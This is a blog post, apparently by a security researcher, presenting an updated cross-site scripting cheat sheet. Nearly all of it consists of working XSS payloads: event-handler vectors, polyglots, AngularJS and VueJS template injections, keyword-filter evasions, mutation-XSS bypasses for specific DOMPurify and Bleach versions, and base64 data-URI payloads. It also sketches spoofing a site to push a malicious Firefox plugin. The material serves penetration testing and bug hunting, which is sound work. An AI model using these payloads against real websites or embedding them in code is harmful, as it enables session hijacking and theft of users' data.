It’s been a year since my last XSS cheatsheet, and a year of developments in XSS exploitology. Here’s a new and updated version jam-packed full of goodies that I use myself!
Note: This cheat-sheet focuses on up to date and relevant items only.
Would you take a cheat sheet with you to an exam that has a bunch of irrelevant stuff? No, of course not.
I hate cheat sheets that waste space on methods that no longer work (e.g. XSS through CSS injection) or work only in archaic browsers that developers always argue are out of scope, so this cheat sheet only focuses on techniques that have a place in 2021 and that I’ve personally verified work on at least one modern browser.
Note: If you liked this, consider following me on Twitter for more infosec tips and tricks, info on tools I release and other goodness. Feel free to DM or tweet me questions as well if I can help you with anything!
New stuff
- Table of contents, quick-links and each item has a copy-to-clipboard button in the top right
- More HTML event goodness
- More mXSS
- More JS Framework payloads (VueJS, Mavo)
- URL Schema filter bypasses
- Extended XSS filter bypasses (escape sequences, exploiting JS weirdness, HTML entities & more)
- More JS tips and tricks
- More JS resources
- MIME type exploitation
And of course:
- Removal of stuff that no longer works
Tag-attribute separators
Sometimes filters naively assume only certain characters can separate a tag and its attributes, here’s a full list of valid separators that work in firefox and chrome:
Decimal value |
URL Encoded |
Human desc |
47 |
%2F |
Foward slash |
13 |
%0D |
Carriage Return |
12 |
%0C |
Form Feed |
10 |
%0A |
New Line |
9 |
%09 |
Horizontal Tab |
Examples
Basically, if you have a payload that looks like:
You can try to replace the space between ‘svg’ and ‘onload’ with any of those chars and still work like you expect it to. This works for all HTML tags.
So, these are all valid HTML and will execute (demo: valid html )(Note: In new Chrome this breaks if you open it in a new tab without refreshing it manually ¯\(ツ)/¯).
Forward slash:
1
|
<svg/onload=alert(1)><svg>
|
New line:
1
2
|
<svg
onload=alert(1)><svg>
|
Tab:
1
|
<svg onload=alert(1)><svg>
|
New page (0xC):
1
|
<svgonload=alert(1)><svg>
|
JavaScript event based XSS
Good reference for events and supported browsers: More HTML events
Standard HTML events
(0-click only)
Tag Attribute |
Tags supported |
Note |
onload |
body, iframe, img, frameset, input, script, style, link, svg |
Great for 0-click, but super commonly filtered |
onpageshow |
body |
Great for 0-click, but appears only usable in Non-DOM injections |
onfocus |
input, select, a |
for 0-click: use together with autofocus="" |
onerror |
img, input, object, link, script, video, audio |
make sure to pass params to make it fail |
onanimationstart |
Combine with any element that can be animated |
Fired then a CSS animation starts |
onanimationend |
Combine with any element that can be animated |
Fires when a CSS animation ends |
onstart |
marquee |
Fires on marquee animation start - Firefox only? |
onfinish |
marquee |
Fires on marquee animation end - Firefox only? |
ontoggle |
details |
Must have the ‘open’ attribute for 0-click |
Situational HTML events
Tag Attribute |
Tags supported |
Note |
onmessage |
most tags |
postMessage is commonly used to get around iframe restrictions and share data, as a result if your page is doing this you can use onmessage to intercept messages and trigger code |
onblur |
input, select, a |
Set autofocus="" for an easy 1-click when the user switches focus away from the injected element by clicking on anything on the page |
Examples:
1
|
<img src=x onerror=alert()>
|
1
|
<body onpageshow=alert(1)>
|
1
|
<marquee width=10 loop=2 behavior="alternate" onbounce=alert()> (firefox only)
|
1
|
<marquee onstart=alert(1)> (firefox only)
|
1
|
<marquee loop=1 width=0 onfinish=alert(1)> (firefox only)
|
1
|
<input autofocus="" onfocus=alert(1)></input>
|
1
|
<details open ontoggle="alert()">
|
HTML5 events
(0-click only)
Name |
Tags |
Note |
onplay |
video, audio |
For 0-click: combine with autoplay HTML attribute and combine with valid video/audio clip |
onplaying |
video, audio |
For 0-click: combine with autoplay HTML attribute and combine with valid video/audio clip |
oncanplay |
video, audio |
Must link to a valid video/audio clip |
onloadeddata |
video, audio |
Must link to a valid video/audio clip |
onloadedmetadata |
video, audio |
Must link to a valid video/audio clip |
onprogress |
video, audio |
Must link to a valid video/audio clip |
onloadstart |
video, audio |
Great underexploited 0-click vector |
oncanplay |
video, audio |
Must link to a valid video/audio clip |
Examples:
1
|
<video autoplay onloadstart="alert()" src=x></video>
|
1
|
<video autoplay controls onplay="alert()"><source src="http://mirrors.standaloneinstaller.com/video-sample/lion-sample.mp4"></video>
|
1
|
<video controls onloadeddata="alert()"><source src="http://mirrors.standaloneinstaller.com/video-sample/lion-sample.mp4"></video>
|
1
|
<video controls onloadedmetadata="alert()"><source src="http://mirrors.standaloneinstaller.com/video-sample/lion-sample.mp4"></video>
|
1
|
<video controls onloadstart="alert()"><source src="http://mirrors.standaloneinstaller.com/video-sample/lion-sample.mp4"></video>
|
1
|
<video controls onloadstart="alert()"><source src=x></video>
|
1
|
<video controls oncanplay="alert()"><source src="http://mirrors.standaloneinstaller.com/video-sample/lion-sample.mp4"></video>
|
1
|
<audio autoplay controls onplay="alert()"><source src="http://mirrors.standaloneinstaller.com/video-sample/lion-sample.mp4"></audio>
|
1
|
<audio autoplay controls onplaying="alert()"><source src="http://mirrors.standaloneinstaller.com/video-sample/lion-sample.mp4"></audio>
|
CSS-based
True XSS injection through CSS is dead (for now). The following are XSS vectors that depend on CSS stylesheets or are otherwise enhanced by them.
Name |
Tags |
Note |
onmouseover |
most tags |
Will trigger when mouse moves over the injected element. If possible, add styling to make it as big as possible. It’s technically a 0-click if you don’t have to click, right? /s |
onclick |
most tags |
Will trigger when user clicks on element. If possible, add styling to make it as big as possible. |
onanimationstart & onanimationend |
most tags |
Triggers on start or end of a CSS animation, which you can make happen on page load (0-click). |
Note: Below uses style tags to set up keyframes for animation(start|end), but you can also check for already included CSS to reuse what’s already there by using e.g. animation: alreadydefined;
. It doesn’t matter what the animation is, just that it exists.
1
|
<style>@keyframes x {}</style>
|
1
|
<p style="animation: x;" onanimationstart="alert()">XSS</p>
|
1
|
<p style="animation: x;" onanimationend="alert()">XSS</p>
|
Payload that injects an invisible overlay that will trigger a payload if anywhere on the page is clicked:
1
|
<div style="position:fixed;top:0;right:0;bottom:0;left:0;background: rgba(0, 0, 0, 0.5);z-index: 5000;" onclick="alert(1)"></div>
|
Same, but for moving your mouse anywhere over the page (0-click-ish):
1
|
<div style="position:fixed;top:0;right:0;bottom:0;left:0;background: rgba(0, 0, 0, 0.0);z-index: 5000;" onmouseover="alert(1)"></div>
|
Weird XSS vectors
Just some odd/weird vectors that I don’t see mentioned often.
1
|
<svg><animate onbegin=alert() attributeName=x></svg>
|
1
|
<object data="data:text/html,<script>alert(5)</script>">
|
1
|
<iframe srcdoc="<svg onload=alert(4);>">
|
1
|
<object data=javascript:alert(3)>
|
1
|
<iframe src=javascript:alert(2)>
|
1
|
<embed src=javascript:alert(1)>
|
1
|
<embed src="data:text/html;base64,PHNjcmlwdD5hbGVydCgiWFNTIik7PC9zY3JpcHQ+" type="image/svg+xml" AllowScriptAccess="always"></embed>
|
1
|
<embed src="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hsaW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAwIiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlhTUyIpOzwvc2NyaXB0Pjwvc3ZnPg=="></embed>
|
XSS Polyglots
I use several XSS polyglots because sometimes you only have a certain # of characters to input and need a DOM or non-DOM based one.
Don’t rely on these 100% because there are circumstances where they will fail, but if you’re data injection testing everything then polyglots can give okay coverage.
# chars |
Usage |
Polyglots |
141 |
Both |
javascript:"/*'/*`/*--></noscript></title></textarea></style></template></noembed></script><html \" onmouseover=/*<svg/*/onload=alert()//> |
88 |
Non-DOM |
"'--></noscript></noembed></template></title></textarea></style><script>alert()</script> |
95 |
DOM |
'"--></title></textarea></style></noscript></noembed></template></frameset><svg onload=alert()> |
54 |
Non-DOM |
"'>-->*/</noscript></ti tle><script>alert()</script> |
42 |
DOM |
"'--></style></script><svg oNload=alert()> |
tip: you can easily create some great personal variations on these by varying the capitalization and using the tag-attribute separators.
Frameworks
To attack JS Frameworks, always do research on the relevant templating language.
VueJS
V3
{{_openBlock.constructor('alert(1)')()}}
Credit: Gareth Heyes, Lewis Ardern & PwnFunction
V2
{{constructor.constructor('alert(1)')()}}
Credit: Mario Heiderich
AngularJS
{{constructor.constructor('alert(1)')()}}
Credit: Mario Heiderich
That payload works in most cases, but this page has a bunch of other recommendations.
Mavo
1
|
javascript:alert(1)%252f%252f..%252fcss-images
|
1
|
[''=''or self.alert(1)]
|
1
|
[Omglol mod 1 mod self.alert (1) andlol]
|
Credit: Gareth Heyes:
XSS Filter Bypasses
JS template literals to call functions
1
2
|
<svg onload=alert`1`></svg>
<script>alert`1`</script>
|
Abusing HTML entities
Note that this will only work with HTML injection but not if the value gets injected directly into a script tag. This is because the decoding happens in the HTML parser, and anything between the script tags just gets sent to a javacript engine directly without decoding.
1
|
<svg onload=alert(1)></svg>
|
1
|
<img src=x onerror="alert(1)">
|
1
|
<svg onload=alert(1)></svg>
|
1
|
<img src=x onerror=alert(1)>
|
1
|
<svg onload=alert(1)></svg>
|
HTML entities encoder available here, make sure to uncheck the ‘only encode unsafe…’ box.
Note that you can use three different sets of HTML entities encoding and combine them as you wish: named (&plar; -> (
), hex (&x28; -> (
) and decimal (( -> (
).
Restricted charset
These 3 sites will transform valid JS to horrible monstrosities that have a good shot at bypassing a lot of filters:
- JSFuck - Translate arbitrary javascript to executable javacript using only 6 characters. Only downside is that complex javascript payloads can get very long.
- JSFsck – JSFuck without parentheses – same as above, but more restricted charset.
- jjencode – Situational, but also good to know about.
- arubesh.js – needs some extra chars ontop of JSFuck, but may be useful if space is limited along with a loose filtering.
Keyword filtering
Avoiding keywords and specific substrings:
1
|
globalThis[`al`+/ert/.source]`1`
|
1
|
this[`al`+/ert/.source]`1`
|
1
|
[alert][0].call(this,1)
|
1
|
window['a'+'l'+'e'+'r'+'t']()
|
1
|
window['a'+'l'+'e'+'r'+'t'].call(this,1)
|
1
|
top['a'+'l'+'e'+'r'+'t'].apply(this,[1])
|
1
|
(1,2,3,4,5,6,7,8,alert)(1)
|
1
|
top[/al/.source+/ert/.source](1)
|
1
|
top[8680439..toString(30)](1)
|
General tricks
To constructing strings
Regex literals:
/part1/.source+/part2/.source
=> 'part1part2'
Numbers to strings:
8680439..toString(30)
=> 'alert'
( Number is generated using parseInt(“alert”,30), other bases also work )
use character escape sequences inside of strings
simple tool for this is available here:
"\x41" -> "A"
: hex encoding
"\u0065" -> "A"
: unicode encoding (value is decimal)
"\101" -> "A"
: octal encoding
VaRy ThE capItaliZatiOn
Sometimes a regex or other custom-made filters do case sensitive matching. You can then just use a toLowerCase(), like:
globalThis["aLeRt".toLowerCase()]
Calling functions
alert`1`
: Template literal syntax
alert.apply(this,[1])
: Using Function.prototype.apply
alert.call(this,1)
: Using Function.prototype.call
alert(1)
: Obviously, but included for completeness.
[1].find(alert)
: Using predicates
[1].filter(alert)
: Using predicates
Reuse and recycle
Remember to look into what is already loaded! jQuery is an easy example, but any sufficiently complex framework will likely have something usable. Wappalyzer or equivalent can help here.
window.jQuery.globalEval("alert(1)")
$.globalEval("alert(1)")
mXSS and DOM Clobbering
It’s basically impossible for XSS filters to correctly anticipate every way that HTML will be mutated by a browser and interacting libraries, so what happens is that you can sometimes sneak a XSS payload in as invalid HTML and the browser + sanitizer will correct it into a valid payload… which bypasses all filtering.
mXSS paper with lots of details: here
Talk with good info on clobbering: here
Sanitizer bypass mXSS payloads
Note: mXSS can be browser dependent, so try multiple browsers as well.
Bleach <=3.1.1
1
|
<noscript><style></noscript><img src=x onerror=alert(1)>
|
1
|
<svg><style><img src=x onerror=alert(1)></style></svg>
|
DOMPurify <2.1
(note: I had to play with some of these a little bit to get them to work. .)
1
|
<math><mtext><table><mglyph><style><!--</style><img title="--></mglyph><img	src=1	onerror=alert(1)>">
|
1
|
<math><mtext><table><mglyph><style><![CDATA[</style><img title="]]></mglyph><img	src=1	onerror=alert(1)>">
|
1
|
<math><mtext><table><mglyph><style><!--</style><img title="--></mglyph><img src=1 onerror=alert(1)>">
|
DOMPurify <2.0.1
1
|
<svg></p><style><a id="</style><img src=1 onerror=alert(1)>">
|
1
|
<svg><p><style><a id="</style><img src=1 onerror=alert(1)>"></p></svg>
|
Double encoding
Simple enough, sometimes an application will perform XSS filtering on a string before it’s decoded once more, which leaves it open by filter bypasses. It’s pretty rare, but some bug hunters I know swear by it so I’m including it for reference.
Char |
Double encoded |
< |
%253C |
> |
%253E |
( |
%2528 |
) |
%2529 |
" |
%2522 |
' |
%2527 |
URL Schema filter bypasses
Let’s say you’ve got an opportunity to inject data into something that touches the URL. Like a location.href, but it’s filtered. This is a list of things you can attempt to to do bypass it.
Credit for this particular set of hackery goes to this great article on XSS in Django
(Some of these are browser dependent. Try your payload separately before relying on it.)
Technique |
Example |
|
Case sensitivity |
JaVaScript:alert(1) |
URL protocol is case insensitive |
Some whitespace INSIDE protocol |
javas cript:alert(1) |
tab (0x9), newline (0xa) and carriage return (0xd) allowed anywhere in protocol |
Whitespace before protocol |
javascript:alert(1) |
Characters \x01-\x20 can be inserted before the protocol |
Some whitespace AFTER protocol before oclon |
javascript : |
tab (0x9), newline (0xa) and carriage return (0xd) allowed anywhere after the protocol |
Mime type exploitation
If you can force a browser to load data, either through setting the URL (via e.g. location.href or the href field in an a tag) or other means, you can execute javascript. In Firefox, these are treated as the same domain as the originating page but not in Chrome. Regardless, this can lead to a few dangerous outcomes explained below.
If you’re unfamiliar, you can test these payloads by pasting them into the URL of your browser. They all simply do an alert(‘XSS’), but you can verify this by using a base64 decoder on the payloads if you want to be cautious.
data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk7PC9zY3JpcHQ+
data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hsaW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAwIiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlhTUyIpOzwvc2NyaXB0Pjwvc3ZnPg==
(Firefox only)
data:application/vnd.wap.xhtml+xml;base64,PHg6c2NyaXB0IHhtbG5zOng9Imh0dHA6Ly93d3cudzMub3JnLzE5OTkveGh0bWwiPmFsZXJ0KCdYU1MnKTwveDpzY3JpcHQ+
Not XSS, but consider other mime types which can weak havoc. Like the following exampe using application/x-xpinstall in Firefox that prompts users to install a plugin… imagine how bad it would be if someone chained a text/html with this to spoof the appearance of a legitimate website then prompt the users to install a plugin which might get access to all their browser data?
(Firefox only)
data:application/x-xpinstall;base64,<BASE64 ENCODED FIREFOX .XPI PLUGIN>
Other ideas include java applets, steam, or really anything that registers a custom protocol handler. Some ideas on exploiting them are available here .
Resources
Great other resources:
Fantastic collection of somewhat old XSS stuff
Portswigger XSS cheatsheet
Portswigger XSS through Frameworks
Pwnfunction’s XSS CTF for practising (highly recommended)
Thanks!
Thanks for reading!
If you liked this, consider following me on Twitter for more infosec tips and tricks, info on tools I release and other goodness! Feel free to DM or tweet me questions as well if I can help you with anything!